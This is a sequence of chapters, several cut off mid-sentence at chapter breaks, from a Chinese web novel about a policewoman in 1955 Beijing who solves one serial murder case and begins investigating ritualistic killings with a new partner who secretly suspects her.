“你出生时你父亲才十六岁，他自己还是个半大孩子，玩性很大，不过就因为他年级不大，带有玩性，所以你小时候他带你玩的时间长，你们俩感情很好，反而你跟母亲关系一般，你小时候你母亲被爷爷压制没什么地位，她照顾你稍微有点错处，就会被骂，甚至你爷爷会动手，我不知道你看见爷爷打你母亲的时候会有什么样的心理，但是从小就被奶奶养大的你，心不会太偏向她那一边，或许在常年熏陶下，你会觉着你母亲是错的。” 顾昭蕙看向周凌风，发现说道母亲的时候他脸上带有那么一丝恨意还有一丝不屑，对于周家的调查一直没停所有与他们相识的邻居他们都过了一遍，结果发现早年的时候钱芳在家里过得日子简直就是泡在苦水里，周三海的父亲是有暴力倾向的，他不但打自己媳妇，后来还对儿媳妇动手，不过开始的时候他动手的时候让钱芳咬着布头，然后用鞭子抽用鞋底子打，那时候周三海孩子心性，自己也怕父亲所以父亲一有动作，他就跑了，从来没有管过媳妇。这也是后来钱芳出去乱搞的原因，她发现家里压着的大山倒了，剩下两个人都不足为据，她就什么都不怕了，也是报复。不加掩饰的报复。 顾昭蕙看他的样子继续说到，“你爷爷死后，家里没有人能管住你母亲，她本来就不是一个认人拿捏的，所以她出去乱搞，她想用这样的办法报复你父亲。可是那次却被你看到了。我想当时对你冲击挺大的，我们找到了当时那个男人，他的腿被你咬下一大块肉，因为破坏了神经，有感染了，现在也残疾了，不过他当时一脚将你踢坏了。是这样吧。” 顾昭蕙说着拿出笔录和诊断书，“当时诊断说是没有问题。” “因为当时你受伤你母亲消停许多，一直到四八年，她再次与人偷情被抓，那时候你大了，你是个成年男人了，所以你对那个男人使用了暴力与你爷爷一样，凶猛，那个男人被打坏了，你的样子将你母亲吓住了。她从此开始怕你。搬家后她更是胆战心惊，因为你的样子跟你爷爷真的很像，所以你母亲想着逃离那个家，你之所以杀了她是因为那天她想趁乱逃离是吧。” 周凌风脸上表情已经冷了起来，脸颊两边能看到牙齿合咬的样子。 “她正在床头柜那里拿钱的时候被你发现的吧，她甚至跪在床上求你，可是你当时愤怒急了，拿过水果刀，你刺入的位置代表母亲，你就是想与她隔断所有的联系。只剩下恨意。” 顾昭蕙看着那张照片，怎么会有这样的恶魔对自己母亲下得去手。 “因为你的诱导，当时查案重点全都在情杀上面，所以你根本没有被怀疑。或许这就助长了你的气焰。四九年二月份，南城仰光胡同发现一具女尸，死法与你母亲死亡几乎一模一样，经过对比我们可以确定这就是相同的刀具刺出的刀口。”顾昭蕙将一把放在所料袋里的匕首拿起来让周凌风看了看，周凌风或许没想到他们将这件事情都查出来了。 “五零年津市海上飘过一具女尸，同样的她身上也是拥有相同的刀伤。尽管使用凶器不同，但是入刀方式作案方法，都是一样的，我们也可以进行并案。” 最后顾昭蕙拿出最新的案件，“七月十六日南城荒地再次发现女尸，同样的，女尸死亡方式与前三者都相同，更加明确的是，死者身上的刀口能与四八年钱芳四九年丁淑芬，死亡时伤口刀伤做同一认定，都来自于同样一把水果刀。经过我们调查丁淑芬的丈夫抽毒烟，喝酒还打骂老婆，邻居经常听他骂老婆出去跟人乱搞，郑香草也曾经被人这样造谣过，你仇恨这样的女人，你把她们当做你母亲一样的人，所以选择他们做目标。是不是这样？” 周凌风眼睛已经红了恨恨的看着顾昭蕙。 “很巧合，这几位女人死的时候，你身边都出现一些事情，让你照这样的方式发泄。四九年你的恋人，本来已经准备结婚的恋人嫁人了，林桂芝。这是你这次愤怒的缘由。而五零年，是因为你发现你的身体出现问题，你去津市一方面想要逃避林桂芝嫁人这件事，另一方面也是去看医生，当年医生说你身体没有问题，可是这么多年过去，你发现自己出现问题了，或许从来没有过反应。” “不要说了，人是我杀的，都是我杀的，那些贱人就该死。都该死。如果不是她我不会这样。”周凌风此时完全没有以前温和神态了，此时的他愤怒的就像一只恶犬。 “她毁了我，她那名声都烂大街了，你们知道我在学校里都过得什么日子吗，每天被人讥笑，我恨我是从她肚里出来的，她带给我的只有羞辱。”周凌风都有些癫狂了似乎想要将自己这么些年的痛苦都宣泄出来，他看着顾昭蕙，“在那样的情况下我还将书念完了，那时候我跟林桂芝交往，不敢让家里知道，小心翼翼，我怕她给我搅黄了，呵，我真傻，其实有个那样的名声，谁 18. 第 18 章 《五五迷雾寻踪》全本免费阅读 第十八章 “还没起呢？”蒋父来到厨房小声的问。 田静兰点点头“昨天后半夜回来的，这段日子早出晚归的。我都一个星期没看到她了。”她声音也小了许多，尽管厨房和顾昭蕙住的耳房隔着一个院子。 “让她睡吧睡个够。”蒋父坐在桌子边上满脸自豪的样子说“你都不知道咱们儿媳妇干了啥大事。” “案子破了？”田静兰知道顾昭蕙最近忙着一个案子，但是太具体的就不知道了。 蒋父喝了口汤点点头“可了不得了，一桩跨越七年的连环杀人案，让她给破了。” 田静兰真惊讶到了，“真的？她破的？他们一组人功劳吧，那能都算在她身上呢。” 蒋父摇了摇头“范伟强那小子跟我说的，案子几乎是她一个人破的，破案方向，嫌疑人还有最后找到证据审问，全都是她一个人拿下来的。现在局里内部都传遍了，太神了。可惜现在没有功勋奖，不然一等功的稳拿。” “是咋的，怪不得今天睡到现在了。累的。”田静兰说着起身。 “你干啥去？”蒋父说道。 “我去服务社看看还有没有母鸡抓一只。” “着啥急吃完饭的。再说这都中午了哪还有剩。等会我去找老贺，他食堂的肯定能弄到。” 田静兰听了也不急了，坐下来赶紧吃饭。 晚上顾昭蕙就喝到了婆婆牌鸡汤，怎么说太香了，不知道是不是这年代食物比较单一，她还头一次喝这么好喝的鸡汤，问过才知道，鸡汤里竟然没什么特别的材料，鸡原本的味道。 吃了饭看田静兰在织衣服，“会织吗？”看她很感兴趣的样子。 顾昭蕙点了点头，刚才脑海中就闪现了许多的织衣针法，其中脑海中一本专门织衣的杂志最清楚，顾湘曾经研究过，但是最后只织了围脖。 “要不要试试。我这边有新鲜的毛线。”田静兰说完，也不等顾昭蕙拒绝，就去屋子里拿了针还有一包新的毛线，浅灰色的毛线，还是细线，很难得。 “这是你大姐从沪上给我弄来的，这有两斤，你要会织就织一个毛衫。”田静兰说道。 顾昭蕙看了看手上的毛线，很细很柔软，是现在能买到的最好的毛线，里边是细绒，一点不扎人，她脑海中已经有好几个花样子了，不过她还是挑选了一个最简洁的开衫，这年代穿衣还是不要太过张扬为好。 有些时候她觉着自己也是很神奇，开始还有点生疏，过了一会之后双手就快了起来，眼镜盯着毛线每一针在什么位置，拉线松紧，都很快掌握，手上或者稍微重了一点，大脑就会告诉她，手上进行调整，就这样一会功夫就织了一扎，田静兰看她的手上下翻飞，那毛衣织的又平整有均匀，能看出底边带有一些花纹，上边是平针，在身上几个特别的地方扭了纽扣大小的小花，因为颜色比较淡这样看着特别雅致。 “你这手艺可真好。”田静兰忍不住夸道，实际上织毛衣这件事情也是刚刚时兴，毛线多金贵，别的不说作为首都，这边百货大楼都买不到这样好的毛线，她还是跟同事学的，织的也是简简单单。能织下来就不错了。 “可能我比较适合做这个。”顾昭蕙笑了一下，手上几乎不停，她突然喜欢这个事情了，好像大脑已经将程序设置好，只要她双手进行操作就行，她感觉到双手控制的快乐，而且她发现这样做，大脑似乎也得到了休息，因为之前的案子她最近没怎么休息好，一直用脑，就算睡着了似乎都在做着跟案子有关系的梦，没有一刻停止思考，今天睡觉一直睡到下午，醒来后跟案子有关系的事情又开始运转，此时虽然手上做了事情，但是大脑难得的休息了。 她织了一会身体不自觉的就动了动，然后她就感觉一点舒适，身体自动调整到舒服的位置，不会让她一直保持一个动作，使身体变得酸痛。 挺有意思的事。 案子结束后顾昭蕙休了三天假，也不光她，一大队出外勤的那些组员全都放假了，范伟强跟着的那个案子也结案了，范伟强听从了顾昭蕙的分析，又将笔录仔细对比分析了里边隐藏的信息，锁定了嫌疑人，但是他们没有动作，一直监视者，显然这个人不是简单的电厂破坏案。他还有另外的目标。一直到四天前，他们才收网，抓出了一个潜伏小组，这些人表面上是破坏电厂，实际上他们是为了掩护另外一组人偷盗机密资料，当时电厂停电的时候就是他们潜入的时候，亏着他们没有马上行动，根据这边的人引出了整个小组，使得重要资料没有被送出去。 也是因为那个案子结案了，范伟强才会及时的带人支援这边。 这两个案子让一大队出了一把风头，尤其是连环杀人案，这个案子的卷宗已经被很多人阅看过了，甚至听说上边已经研究把这个作为一个典型案例发下去，案子卷宗最后是由顾昭蕙制作的，里边关于案子的每一个细节，每一个证据资料都十分清楚，案子从开始发现到破获每一步都写的清清楚楚。估计以后要作为范本让人学习。 对这些顾昭蕙也没去想，她也没什么骄傲的，这些东西都是学校里学来的，现在受时代所困，很多东西都需要人慢慢摸索，她学的东西也是前人总结出来的，她只是将未来所学拿过来，说起来还是前辈们打好的底子，她反馈回来。 在家这几天，她一边织毛衣，一边放松脑子，偶尔会总结一下案子的细节，发现有些地方还是可以改进的，除此之外就是将这次破案过程中获得的资料进行存档。别的不说南城那几个片区道路地形人口等等信息，不是用过一次就扔的东西，以后或许还会用到。所以现在整理一下，除此之外，她之前因为意外得到凶案现场，实际上有几个有嫌疑的地方还没有去查，这个事情她从南城回来的时候将内容记录在一张纸上，交给了孙兴，这个由他们片区查看更好，也不是说这些地方一定有问题，只是有些隐患而已。 因为她破获了这个案子，孙兴也不会不重视。 三天时间她不但织好了自己的开衫，剩下的线还给嫂子肚子里的孩子做了一身开档的连体衣，孩子出生后就是冬天，这细线一点啊不扎身，她织的时候用了特别阵法，使得衣服穿着特别有弹性，下边连着袜子，有一定 19. 第 19 章 《五五迷雾寻踪》全本免费阅读 第十九章 “哎呦，我说老范你们这门怎么还矮一截啊。”来人一边往屋里进，一边揉着脑袋。 范伟强笑看着他，“谁让你长大么大个子，进门不知歪头啊。” “歪了啊。” 这时顾昭蕙才看着那人，穿着一身军装，瘦高瘦高的得有一米九，稍微弓着身，一双大长腿一迈一大步，裤腿子还短一截，露着脚脖子。脸上棱角分明，跟他身材似的看着精瘦，一双眼睛半眯着带着漫不经心的劲。 “来我介绍一下，这是咱们新来的同事齐云松，刚从部队上下来的，嗯，这样小顾让小齐先跟着你，你带带他。” 顾昭蕙看了一眼齐云松，这人正嘴角带笑的看着她，那样子一点也不像这年代人那么正经严肃。 “范哥，我才来咱们组，还跟着王哥学呢，怎么带新人。”从这人看向她的样子，她脑海里就亮起了警灯，总觉着这人有点不好惹。 “谦虚了，你的能力咱们都看在眼里，完全可以独立破案。小齐也不是没经验的，你们俩搭档也算互补。这事就这么定了。”范伟强说着看向顾昭蕙对面那张桌子，“小齐你就坐那。” “好嘞。”齐云松应了一声，迈着那双露脚脖子的大长腿来到办公桌前，这人将椅子往后拉拉然后坐下。 顾昭蕙总觉着有点不对劲，低头一看，好家伙这人腿都快伸她这边了。 齐云松眯着眼睛呲着大白牙“不好意思，有点放不下。” 顾昭蕙笑了笑没说什么，将注意力再次看向自己手上的文件。 那边齐云松笑眯眯的看了她两眼，然后就整理自己的办公桌。 上了几天班，也没什么案子，新来的齐云松有点社牛气势，一天时间就跟办公室里大家混熟了，这人爱说爱笑，性格极好的样子，但是顾昭蕙总觉着这人经常将探寻的目光放在她身上，等她看过去时却什么都没发现。 顾昭蕙在大会议室给大家做了两次案件报告，将之前的案子破案经过思路讲述一遍。她的一些观念很新颖，给大家很多启发。 来到星期一，已经进入八月下旬，天气依然很热，但是立秋之后刮了北风，一下就干爽起来，就算温度再高，只要在树荫下就会觉着凉快。 一早顾昭蕙早些来到单位，过来的时候发现齐云松已经到了，正在办公桌前不知道写些什么，一条腿支在过道上，脚脖子依然露着。 “早。”齐云松抬起头看着她笑了一下。 顾昭蕙点点头，也没说什么话，齐云松也不觉着冷落，继续写着报告。说起来也不知道怎么地明明他们两个才是临时搭档，可是现在办公室里最不熟的就是他们了。 顾昭蕙刚想去倒点水，电话突然响了，紧挨着电话旁边的齐云松接起电话，“喂-好的我们马上就到。” 挂了电话他站了起来“西城轿子胡同发生命案，那边派出所让咱们过去。说是现场诡异。” 顾昭蕙也没说什么拿了帽子，拎着一直准备着的挎包就往外走。刚出门就看见过来的李想，“正好一起。去轿子胡同。”到了一楼让门卫大爷通知段洪和卢莫，这点其实刚上班时间，俩人也不知道来没来，他们也先不等了。 三个人两台自行车，齐云松抬头让李想骑顾昭蕙的自行车，然后对着顾昭蕙说了一句“上我车。”说完就跨上自行车，顾昭蕙只看了一眼自己的车，就没犹豫偏身上了车后座。女士车虽然也能带人，但是速度慢。李想一个人骑还能快点。 坐在车后座风吹着问道一股香皂的气息夹杂着淡淡的烟味，其实并没有见过他抽烟。 三人两车来到轿子胡同七十八号，院门口已经挤了许多人，三人进了院子就看见院子的东厢房门口好几个人挡着，其中一人四十多岁正站在门口抽着烟，看见他们过来，许是发现三人都太年轻惊讶了一下，但还是迎了上来，对着齐云松说“你们是市局的吧，我是这边派出所王明，这案子有点诡异，我们处理不了。”这人愁眉苦脸。 齐云松往旁边一让露出顾昭蕙，顾昭蕙也没理他“现场有人进去吗？” “有报案人还有我和另外一个同事，发现里边异常就没让人进去了。”王明说道。 顾昭蕙点点头扭头对李想说道，“收集指纹脚印，外围排查。”进屋了就得留痕迹，李想也跟着办了上个案子，自己还在津市调查那么长时间，现在也有些经验了，正好带着这边片区的人调查一下基本情况。 带着齐云松来到屋门口，没进去呢就闻到一股血腥味，特别浓重，她从挎包里掏出两个鞋套，这是她自己准备的，现在没那个条件，只能自己创造一些便利。 齐云松看着她将鞋套套在脚上，自己也跟着学着，“你跟着我，小心点看着地面痕迹，注意脚印。”顾昭蕙把相机递给齐云松，然后推开了门。 打开门的一瞬间，她就知道为什么王明会说这个案子诡异，因为此时大门正对着的墙上用血画出了一些图案。 咔嚓咔嚓，齐云松拿着相机已经开始拍照了，顾昭蕙没有急着进去，从门口开始观察地面看着大门就在大门门把手的位置就有半个指纹，已经凝固，应该是凶手的。顾昭蕙拿出小纸条，做个标记，然后抬脚进屋，进入屋子才发现整个屋子全都被血迹覆盖，图案是有规律的，看起来像是符咒，顾昭蕙发现齐云松照相也挺有规律的，按顺序没有错漏。 尸体是在东厢房南屋的床上，女人躺在那里穿着一身旗袍裙，双手交叠放在小腹处，看起来很安详，脸上甚至带着一股诡异的笑容。 顾昭蕙一边走一边将自己发现的线索做出标记，还没等她走到床前，就听见门口传来说话声“小顾，我们来了。”段洪说着就将手上的勘察箱放下，直接在门口按照顺序提取指纹。卢莫小心的走进来，齐云松看了一眼，发现卢莫走过的路线与顾昭蕙走 20. 第 20 章 《五五迷雾寻踪》全本免费阅读 第二十章 “初步的尸检已经结束，现场墙上的血迹已经确认就是死者的，我们在死者腋下发现一个针孔，死者体内血液含量极低，可以确定死者是失血过多而死，血液中发现了安眠药的成分，具体成分还没有测出来。”段洪拿着报告说着。 顾昭蕙点点头“关于丢失的心脏呢？使用的是什么刀具？” “从伤口上看，死者在死后被摘取心脏，用的应该是非常锋利的小刀。”段洪说完将几张照片拿出来，“这是伤口照片。” 顾昭蕙拿过来看了一下，一边的齐云松将身子歪过来，一起看。顾昭蕙瞥了他一眼又低头看过去，“凶手用刀很熟练。” 齐云松跟着点点头“会不会是屠夫？”这刀口太丝滑了。 “有可能，类似杀猪刀。”顾昭蕙脑海中已经有了数据，虽然有三个模拟刀型，但是看起来就是那种杀猪刀。“不过看现场情况，凶手心思缜密冷静，作案的每一个步骤都是有条不紧的，最后对现场的布置更是细心。所以不能将凶手固定为某一特定职业。” “那他杀完人后在墙上画的是什么？”齐云松问。 “像是符箓或许是某种仪式。”顾昭蕙想了想说，她看过一些案件卷宗，这样的案子有很多种。 她看了看报告里关于鞋印的精确测量，还有她现场发现然后让段洪他们测量的结果，然后计算了一下更精确的数据“凶手身高一米七二至一米七四，体重七十五公斤左右，左撇子或者右手有残疾。这人挺壮的。”数据直接从脑海中形成，只要足够的数据。 齐云松盯着她看了一眼，没有质疑但是眼神中带着浓浓的探究。 案件了解差不多，顾昭蕙直接布置下一步计划，“这个案子侦破我看先从两个方面来进行，第一案发现场并没有发现强行闯入的情况，所以凶手有可能与受害人认识，所以先查一下受害人社会关系，包括他们院子里的人，都要进行排查，这个事情我和李想你去处理。”如果说对人员排查没有比她更合适的。 “第二个方向就是去查看一下墙上的符箓，齐云松你和吴非去道观寺庙看看有没有认识的，这东西有什么意义。” “我跟你去调查受害者吧，让李想和吴非一起。”齐云松有不同看法。 顾昭蕙看了他点点头“行，你和李想换一下。” 骑着车去了轿子胡同，这胡同是个半截胡同，胡同西头过去可能有大户人家盖房子，直接把胡同西边给封住了，顾昭蕙看了看封墙那边有个门，应该是后来开的。胡同东边有五个院子，他们先去的居委会将这边的情况了解了一下，别看胡同半截里边住的人不少，除去最里边有一个一进院子属于独门独户一家人，另外四个院子都是大杂院，好像是过去花园子改建的，里边并不规整，有点跟迷宫似的。 里边人员更是复杂，四九年后京城里许多空着的院子，一部分由街道统一管理，一部分归各单位然后由单位分配，所以一个院子里住的往往都是一个单位，或者有关联的，当然还有很多是坐地户。 轿子胡同就是这样的，在早些年这片住宅连着旁边的大院都属于一家，后来子孙不孝，把祖产给卖了出去，花园子这边隔出来，然后乱七八糟的盖了一些房子，租出去，也算有口饭吃，因为没有规划，加上用料一般，房子看起来十分破旧，四六年屋主把自己给抽死了。他无儿无女，这帮租户凑钱把人给埋了，屋子没了主人，这原本的租户就成了主人。 许丽家里所在院子是个两进院子，她家里在外院东厢住，房子原来属于许丽爷爷的，后来她父亲结婚后这房子就给了他们家许丽爷爷当年还占了七十六号院三间房，许丽爷爷和小儿子在那边住。 许家属于院子老户，按照邻居的说法，许家人比较圆滑，说话办事虽然不是特别实在，却也不会得罪人。跟院子里的邻居相处不错，没听说他家里跟谁有大矛盾。 顾昭蕙将院子里人都见了一遍，体型外貌有三人相似，但是都被顾昭蕙排除了，之后又走访了附近的人，问询过后并没有什么太大的发现，这也是预料之中的事情，通过观察现场她觉着这个案子凶手虽然做的细致看似熟人作案，实际上她更倾向于凶手选择了许丽作为他的受害者。 “说说你跟许丽最后一次见面是什么时候？”顾昭蕙坐在院子里问着许丽未婚夫，许丽未婚夫叫程树二十三岁，副食品店的职工。个子挺高的，得有一米八，人也瘦瘦的，不过有点佝偻，不像某人虽然也是瘦瘦的但是看起来倒是挺挺拔的，顾昭蕙突然想到有一会没看见齐云松了，四处看看也不知道人去哪里了，也没管他看向面前的程树观察着他的反应。 程树眼睛还红着，人也十分萎靡坐在小登上佝偻着身子，听见顾昭蕙问话“我们是晚上七点分开的，小丽父母去探亲，我晚上跟她去了饭店吃饭，然后我俩去附近公园溜达一圈，回去的时候都七点了，送到家我就回去了，她让我早上早点过去接她我们俩去喝豆汁。谁知道我早上过来一敲门没人应声，然后我就在窗户看到了--”程树似乎有点害怕身上哆嗦着。 顾昭蕙自此观察着他觉着他似乎真的很害怕。她想了想当时进现场的情形，老式的支摘窗，下边挡着半截窗帘，按照他的身高，他太这叫能看到屋子里，但是应该看不到床上情景，看见的应该是墙上的图案“你晕血？”顾昭蕙猜测到。 程树打了个冷战，“不是。”他有点不安，“就是有点怕，小时候见过有人被杀，后来看到红的东西就怕，忍不住。” 顾昭蕙点点头，可能太刺激有点应激，这种情况也不普遍，现在才五五年，好多人都是有这样的经历的。不过他反应大一些而已。 “最近一段时间许丽有什么反常没有？” 程树将脑海中乱七八糟的恐惧甩掉，想了想说道“太大反常倒是没有，不过前些日子我家里说是我俩都处了有半年了，想让我们结婚，选 21. 第 21 章 《五五迷雾寻踪》全本免费阅读 第二十一章 顾昭蕙和齐云松在后院月季丛查看了一下并没有发现地下的进出口，这边院子原本是一个花园，后来分成前后两个院子，前院还算工整，后院就有些乱了，一间间平房密密麻麻的相邻着，这处月季花丛就在院子中间的一处房子的墙角。 齐云松对比一下脚印，双手扒着墙缝一下爬了上去，这边房顶不是尖顶，是那种比较缓的坡顶，他看了一会眼睛忽然定住“那边好像有个脚印。我去看看。” 顾昭蕙点点头“小心点。” 齐云松双手一使劲整个人就爬到了房顶，他小心的看着地面没敢做太大动作。不过这房顶用的是那种老瓦，有很多都破碎了，也很难留下脚印。 好在有一处露了泥，“有半个脚印。”他说着掏出相机将那半个脚印给照了下来。 顾昭蕙听了挺振奋，这样就解决了凶手入户的关键，“能不能确定是从那个方向个过来的。” 齐云松摇了摇头，“不行，我只看到这一处脚印。” 顾昭蕙有点着急，她看向墙壁也想爬上去，但是刚才齐云松明明很轻松的就上去了，可是不适合她，齐云松身高得有一米九，他刚才手抓着房子椽子，蹬的下边，她可够不到。 齐云松看她动作，笑了一下，然后来到房顶边缘，伸出手去“来，我拉你。” 顾昭蕙踩着一块石头拉住齐云松的手，本想着借下力没想到手上传来一股拉力，人一下子就被拉到上面，落地后还有点不敢相信。 齐云松觉着这人可能都不到一百斤，弱不禁风的。 顾昭蕙没管他怎么想，自己开始查找痕迹，她看东西更有优势，因为就在她观察的时候大脑也会跟着运转，一些细节性的东西就会显现。 先看了一下脚印，是左脚脚印，根据脚印方向判断上一步落脚点在那里，然后进行查找，“这人穿着是一双布鞋，跟屋子里发现的脚印相同，可以做同一判定。” 顾昭蕙找到了三处极淡的脚印“他应该是从那边院子里过来的。”顾昭蕙指着另外一边的房顶，西边靠墙的鹿顶，两边过道只有一米的宽度，完全可以跨过来。 “只有进来的脚印，那他应该是早上从大门出去，倒座房大爷每天早上四五点的时候上厕所顺便就将大门打开了，那个时候进出人少，他可以趁机出去，我问过那天早上开门时间，大爷说差不多四点半左右。他有很充裕的时间。” 顾昭蕙认同这一观点，“你去看看那边是什么情况，我跟程树去他新房那里看一下。” “行。之后在局里会和。” 程树家里在东城，也怪不得许丽一直想要换房子，东城西城距离不算近，不过程树家里给准备的新房环境不错，是一个不大的小院，三间房，门开在西墙。 进了院子里边收拾的很干净，地面也是用青砖铺的，进了屋子，顾昭蕙看了一下，七十多平的面积，正堂东西屋，顾昭蕙目光一下子就被东屋门上挂着的一个风铃吸引了注意力，风铃是很小的一个小铃铛下边坠着个小星星样的东西，用一根线绳挂在门的中间“这是谁挂上去的？” 程树看了一眼说道“是小丽挂的，那天我们一起去买的，我还说挂在这个地方，进出门的时候会有响动。她说她就喜欢这个声音。”程树脸上带着一股无可奈何。 “我能拿下来看一下吗？”顾昭蕙说道。 “可以。”程树说着上前帮着摘下来，递给顾昭蕙。 接过铃铛顾昭蕙注意力放在铃铛下边的那个星星上，拿下来可以看的更清楚，这是用一张黄色的纸折出来的星星，将纸张小心的打开，是一张符纸，等彻底打开了，旁边的程树叫了一下，“啊，这就是那个血符。”说完整个人都抖了起来。 顾昭蕙看了看符纸小心的叠了起来，“这个我要带回去。” 骑着车子回到单位，正好赶上中午，她也饿坏了直接去了食堂，然后就看到齐云松拿着饭盒一看也是刚回来，俩人打了饭，默契的坐在一个桌子上，“已经确定了凶手的行动路线，从那个路线上看，凶手蓄谋已久。”齐云松一边吃饭一边说。 顾昭蕙吃着二合面馒头，手上勺子一点点的扒拉着白菜汤，“我在程树新房发现了一个铃铛，铃铛下边吊着一个纸符，纸符上的图案与墙上图案相似，只有细节上不同，但是可以看出来是出自一个人的手，许丽在受害前应该就认识凶手。” 齐云松几口就将他手里的两个馒头吃掉菜汤也喝的干干净净“这也是为什么许丽家里门窗没有强入痕迹，是她给凶手开的门。” 顾昭蕙吃了半个馒头就吃不下了，“就看李想他们那里有没有什么收获。”将馒头放下，食堂的馒头有她两个拳头大，根本吃不了。 齐云松看着她放下的半个馒头“你不吃了？” “给。”顾昭蕙看出他的意思，将馒头递给他。齐云松也不客气，接过馒头就吃了起来，顺手将顾昭蕙剩下的一点白菜豆腐也拿过去，拿着勺子几口就吃光了。 不是第一次看他吃饭，之前也看过，这人吃饭一定会吃的干干净净一个饭粒都不剩下，就是吧吃那么多一点肉不长，全补钙了吧。 俩人拿着空饭盒往办公室走，刚走到一半，就看到范伟强带着李想和吴非从楼上下来，看样子很急的样子。 “你们俩回来正好，西城又出现一起案子，情况与许丽案相似。” 两人一听心里一惊，第二起，这不就是连环杀人案了吗，这么邪乎吗。 西城区棋子胡同十六号院后罩房，死者也是一名女性，不过这位死亡比许丽要早，看尸体腐败情况已经死亡一个星期了，同样的屋子里墙上也被画上了符箓。 顾昭蕙穿上鞋套口罩，这次段洪和卢莫来的更早些，他们俩这段时间进步极快，对现场保护也有了相当的经验，“应该是同一个凶手。”段洪指着一处标记好的脚印给顾昭蕙看，“同一双鞋子。” 顾昭蕙点点头“死者情况看了吗？” “卢莫在做。”段洪和卢莫现在也有了侧重点，一个负责痕迹检测一个负责尸体检查。 顾昭蕙走过去，“什么情况？” “心脏也不见了。”卢莫说道。 “死 22. 第 22 章 《五五迷雾寻踪》全本免费阅读 第二十二章 涉及两名死者的案子，市局十分重视，范伟强又派过来几个人过来帮忙排查。 顾昭蕙作为案件调查新任命的组长，将事情一步步的交代下去，这年代人虽然见识可能不如未来人，但是他们的认真态度是不用质疑的，只要给他们个明确方向，他们肯定会认真完成。 因为这两天顾昭蕙和齐云松两人一直没怎么好好休息忙着查案子，范伟强就让他们今天晚上正常下班，回家好好休息一晚，顾昭蕙干脆跟齐云松一起去了一躺一家旗袍店，这是档案室王云介绍给她的，是位老裁缝。顾昭蕙看过了两位死者身上穿着的旗袍都很相似，是个老手艺，他们看看能不能找到什么线索。 按照地址寻找老师傅，顾昭蕙发现这地方她来过几次，这里离蒋永兴被抛尸地点不远，她曾经到这里查看过。 她脑海闪过曾经对这片的调查，甩了甩，放到一边，先顾着眼前的案子。 “这两件衣服。”老师傅带着老花镜，“应该都是今年新做的。”老师傅隔着朔料袋仔细看着，“不是一个人的手艺。不过这扣子看起来是一个人盘的。” 顾昭蕙上前看了看两个衣服上的盘扣，“这种盘扣有什么说法吗？”明明盘的样式都不同怎么看出来是一个人做的。 老师傅推了推眼睛，“这做衣服就跟文人写字一样，都是带着自己的习惯，这种盘扣也是一样，虽然一个是蝴蝶扣，一个是四方扣，但是她使用的手法是一样的，你看这个圈的方向，用针固定的下针角度，一看就是一个人做的。”老师傅给顾昭蕙指出能看出一个人做工的地方，可惜顾昭蕙观察力这么强的人都没看出来。 “现在大家都开始做新式衣服，这样旗袍只有年轻人还会做一下，很多裁缝师都不接这活了，不过这扣子却是有人专门做了卖的，几乎没有成本，做出来五分一对，卖的也挺好的。很多人做袄子还喜欢用。”老师傅接着说道。 顾昭蕙点点头，“那师傅您知道这扣子是谁做的吗？” 老师傅摇了摇头笑了笑说“我们这是老手艺，衣服和扣子都要配着来，不像这种新样式的图省事，咱们的扣子都是自己做的。”老师傅说着神色倒是有些暗淡，现在穿旗袍的人越来越少，生意不好做了。 没有得到答案顾昭蕙也不急，组里同志已经去调查了，应该能找到做衣服的地方，关于旗袍，她也只是觉得凶手将死者摆放那么整齐还穿着旗袍，似乎有什么意义，至于说有没有关系，也只能看调查回来能查到什么情况了。 从老师傅家出来，顾昭蕙想了想说“现在也到下班点了，你就直接回家吧，我去别的地方不一起回去了。” 齐云松眯了眯眼睛，“那好我先回去了。”说完骑到自行车上离开。 顾昭蕙推着车子走在胡同里，在一次将已经熟悉很多次的地方走了一遍，慢慢的就来到那片芦苇丛，此时的芦苇丛已经看不到原来的样子，正是芦苇茂盛的季节，大量芦苇就在路边郁郁葱葱的生长着。 “就是这个地方吗？”身后突然传来熟悉的声音。 顾昭蕙没有回头似乎并不意外“对。” “你并不是我所了解的顾昭蕙，永兴口中的你和现在的你是两个人。” “所以你怀疑我。”顾昭蕙回过头，看着已经熟悉了的人，抬着头看着背着夕阳的男人。看着他眼睛里的怀疑目光。 “我见过许多因为变故性格发生转变，这并不奇怪，但是一个人会因为变故增加以前没有的能力，却是从来没有见过的，顾昭蕙是个开朗乐观善良美好的女孩，或许这话带有滤镜，但是与你几乎完全不同，蒋永兴说过昭蕙很聪明，但是这种聪明是正常范围内的，顾昭蕙的高中成绩虽然很好，却不是顶尖，你能过目不忘，几乎将一个片区的户籍都记录下来了。用的时间绝对不超过一日。”男人看着她认真的说。 顾昭蕙仰了仰头往车子那边走，“随你去查，我就是顾昭蕙。”她觉着这里以后都不会再来了，所有痕迹都不见了，也不会有什么新的痕迹。 “你是最后一个见到蒋永兴的人。”所以我有理由怀疑你，还有你这么多变化与我所知的完全不同，又怎么会不去怀疑，只是她似乎从来没有遮掩，看起来十分坦荡。 顾昭蕙骑上车扭头看他，“最后一个见他的是凶手不是我，很高兴认识你，松子。”说完也不等他回答骑车离开。 停留在原地的男人看着远去的背影，忍不住笑了一下，看向芦苇丛过了一会才说“大兴，虽然跟你说的不一样，却是个不错的姑娘。”男人回过头夕阳照在他的脸上，正是顾昭蕙的搭档齐云松。 骑车回去的路上顾昭蕙回忆着齐云松来的这些日子，这人从第一天进办公室的时候，态度对她就不同，她能敏感的感受到，这人一直在关注着自己，尽管他一直隐藏，但是背后的探究一直没有停下。 在这种关注下，顾昭蕙发现他身上矛盾的情绪，一方面他似乎对她有一种熟悉甚至亲近的感觉，另一方面却是带有淡淡的防备。 这个人她是没有见过的，但是这种情绪能让她有些猜测，对方认识她，所以对她熟悉，能想到的就是蒋永兴的朋友，而能产生亲近的情绪那么只有一个人就是那个外号叫松子的人，齐云松，松子，很容易就联系在一起。尤其是她看到齐云松在食堂吃饭的样子，更是确定了。 蒋永兴和齐云松是穿开裆裤长大的好兄弟，以前因为父母都在打仗，两个人就跟着后勤队伍一起转移，那时候兵荒马乱，两个人几乎是相互陪伴着长大的，虽然后来有一段时间因为战乱失散了，但是并不影响两人之间的关系，只是最后走的路有所不同而已。 顾昭蕙知道两人的关系，两人约会的时候，经常说起他，所以对于顾昭蕙来说蒋永兴的口中松子就是一个熟悉的陌生人，蒋永兴说过，齐云松在战乱分开的时候不知道吃了多少苦，好像差点饿死，所以后来齐云松吃饭一定会将最后一粒米粒都吃掉。也是因为这个她才会确认。 